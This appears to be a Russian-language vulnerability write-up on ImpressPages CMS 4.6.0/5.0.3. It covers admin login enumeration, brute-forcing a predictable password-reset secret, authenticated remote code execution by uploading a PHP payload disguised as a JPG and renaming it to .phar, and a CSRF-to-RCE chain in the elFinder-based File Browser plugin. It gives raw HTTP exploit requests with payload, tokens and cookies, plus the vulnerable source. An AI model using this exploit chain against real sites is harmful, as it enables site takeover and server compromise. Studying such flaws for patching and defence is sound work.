Сайт - impresspages.org Версия 4.6.0 (+ 5.0.3) Admin login|email harvestering Разные ошибки для неправильного логина и пароля, позволяет перебрать админский логин. Bypass auth Зависимости -- Наличие админского логина -- Локальное время сервера Ip/Internal/Administrators/Model.php PHP: private static function generatePasswordResetSecret($userId){ $secret = md5(ipConfig()->get('sessionName') . uniqid()); $data = array( 'resetSecret' => $secret, 'resetTime' => time() ); ipDb()->update('administrator', $data, array('id' => $userId)); return $secret;} Линк на смену пароля генерируется из сессии + unix timestamp. Генерируем список ссылок - брутим. Code: http://ip4.localhost.com/?sa=Admin.passwordReset&id=1&secret=b0d1993093080751147b5ab92d934d02 RCE Зависимости: -- Админские привилегии -- Разрешение на выполнение phar В админке все взаимодействие строится на подключенных модулях и вызова их методов. Мы можем вызвать любой метод, определенный в AdminController.php, соответсвующих модулей ядра и плагинов. Загрузка файлов происходит без проверки содержимого, проверка расширения по белому листу. И даже если бы могли грузить php, нам мешает .htaccess Code: <Files ~ "\.(php|php5|php6|php7|jsp|phps|asp|cgi|py)$"> deny from all </Files> Что можно с этим сделать? Метод storeNewFiles() - перемещение загруженных файлов в папку file/repository из file/tmp - причем мы можем это сделать сменив расширение. В папку secure грузить смысла нет, так как второй .htaccess блочит доступ. Нам сгодится phar. Ip/Internal/Repository/AdminController.php PHP: public function storeNewFiles(){ ipRequest()->mustBePost(); $post = ipRequest()->getPost(); $secure = !empty($post['secure']); $path = isset($post['path']) ? $post['path'] : null; $browserModel = BrowserModel::instance(); $browserModel->pathMustBeInRepository($path, $secure); if (!isset($post['files']) || !is_array($post['files'])) { return new \Ip\Response\Json(array('status' => 'error', 'errorMessage' => 'Missing POST variable')); } $files = isset($post['files']) ? $post['files'] : []; $newFiles = []; $destination = $browserModel->getPath($secure, $path); foreach ($files as $file) { $sourceDir = 'file/tmp/'; if ($secure) { $sourceDir = 'file/secure/tmp/'; } $source = ipFile($sourceDir . $file['fileName']); $source = realpath($source); //to avoid any tricks with relative paths, etc. if (strpos($source, realpath(ipFile($sourceDir))) !== 0) { ipLog()->alert('Core.triedToAccessNonPublicFile', array('file' => $file['fileName'])); continue; } $newName = \Ip\Internal\File\Functions::genUnoccupiedName($file['renameTo'], $destination); copy($source, $destination . $newName); unlink($source); //this is a temporary file $browserModel = \Ip\Internal\Repository\BrowserModel::instance(); $newFile = $browserModel->getFile($newName, $secure, $path); $newFiles[] = $newFile; } $answer = array( 'status' => 'success', 'files' => $newFiles ); return new \Ip\Response\Json($answer);} Запрос на загрузку файла Code: POST / HTTP/1.1 Host: ip4.localhost.com Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://ip4.localhost.com/dddddddddddddddd/ Content-Type: multipart/form-data; boundary=---------------------------66207624121407658211508896721 Content-Length: 750 DNT: 1 Connection: close Cookie: ses311298187=rg1gc0d7bru1k2no5mkisue2km; Sec-GPC: 1 -----------------------------66207624121407658211508896721 Content-Disposition: form-data; name="name" 1.jpg -----------------------------66207624121407658211508896721 Content-Disposition: form-data; name="sa" Repository.upload -----------------------------66207624121407658211508896721 Content-Disposition: form-data; name="secureFolder" 0 -----------------------------66207624121407658211508896721 Content-Disposition: form-data; name="securityToken" eb763756cb06598270d99b1ab71b0bc6 -----------------------------66207624121407658211508896721 Content-Disposition: form-data; name="file"; filename="4.php" Content-Type: application/octet-stream <?= phpinfo(); -----------------------------66207624121407658211508896721-- Запрос на перемещение файла Code: POST /?aa=Repository.storeNewFiles HTTP/1.1 Host: ip4.localhost.com Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://ip4.localhost.com/?aa=Repository.storeNewFiles Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 136 DNT: 1 Connection: close Cookie: PHPSESSID=mjma15faqgjbh7b41r8t8vdq69; ses373388643=eq9cmqhno8to90ejava318bu81 Sec-GPC: 1 securityToken=4c9988f56ff8a06d41c304fdf6cb8aaf&files[0][fileName]=1.jpg&files[0][renameTo]=r.phar Code: ip4.localhost.com/file/repository/r.phar
CSRF -> RCE (bypass default samesite cookie value Lax) Плагин File Browser v. 1.00 В целом обычная csrf в плагине и совершенно очевидный обход ограничений в PHP приложениях дефолтных Samesite cookie Lax. Из коробки POST запросы эксплуатировать тяжело, но большинство трудностей улетучивается когда разрабы используют $_REQUEST или функции/конструкции наподобие этих: PHP: $var = $_SERVER['REQUEST_METHOD'] === 'POST' ? $_POST : $_GET;# или например# from LiveStreet CMSfunction getRequest($sName, $default = null, $sType = null){ switch (strtolower($sType)) { default: case null: $aStorage = $_REQUEST; break; case 'get': $aStorage = $_GET; break; case 'post': $aStorage = $_POST; break; } if (isset($aStorage[$sName])) { if (is_string($aStorage[$sName])) { return trim($aStorage[$sName]); } else { return $aStorage[$sName]; } } return $default;} Что впринципе мы и видим ниже, один и тот же запрос в GET и POST. Хэш в запросе: Plugin/Browser/elfinder/php/elFinderConnector.class.php PHP: public function run() { $isPost = $_SERVER["REQUEST_METHOD"] == 'POST'; $src = $_SERVER["REQUEST_METHOD"] == 'POST' ? $_POST : $_GET; if ($isPost && !$src && $rawPostData = @file_get_contents('php://input')) { // for support IE XDomainRequest() $parts = explode('&', $rawPostData); foreach($parts as $part) { list($key, $value) = array_pad(explode('=', $part), 2, ''); $src[$key] = rawurldecode($value); } $_POST = $src; $_REQUEST = array_merge_recursive($src, $_REQUEST); } $cmd = isset($src['cmd']) ? $src['cmd'] : ''; $args = array(); if (!function_exists('json_encode')) { $error = $this->elFinder->error(elFinder::ERROR_CONF, elFinder::ERROR_CONF_NO_JSON); $this->output(array('error' => '{"error":["'.implode('","', $error).'"]}', 'raw' => true)); } if (!$this->elFinder->loaded()) { $this->output(array('error' => $this->elFinder->error(elFinder::ERROR_CONF, elFinder::ERROR_CONF_NO_VOL), 'debug' => $this->elFinder->mountErrors)); } // telepat_mode: on if (!$cmd && $isPost) { $this->output(array('error' => $this->elFinder->error(elFinder::ERROR_UPLOAD, elFinder::ERROR_UPLOAD_TOTAL_SIZE), 'header' => 'Content-Type: text/html')); } // telepat_mode: off if (!$this->elFinder->commandExists($cmd)) { $this->output(array('error' => $this->elFinder->error(elFinder::ERROR_UNKNOWN_CMD))); } // collect required arguments to exec command foreach ($this->elFinder->commandArgsList($cmd) as $name => $req) { $arg = $name == 'FILES' ? $_FILES : (isset($src[$name]) ? $src[$name] : ''); if (!is_array($arg)) { $arg = trim($arg); } if ($req && (!isset($arg) || $arg === '')) { $this->output(array('error' => $this->elFinder->error(elFinder::ERROR_INV_PARAMS, $cmd))); } $args[$name] = $arg; } $args['debug'] = isset($src['debug']) ? !!$src['debug'] : false; $this->output($this->elFinder->exec($cmd, $this->input_filter($args))); }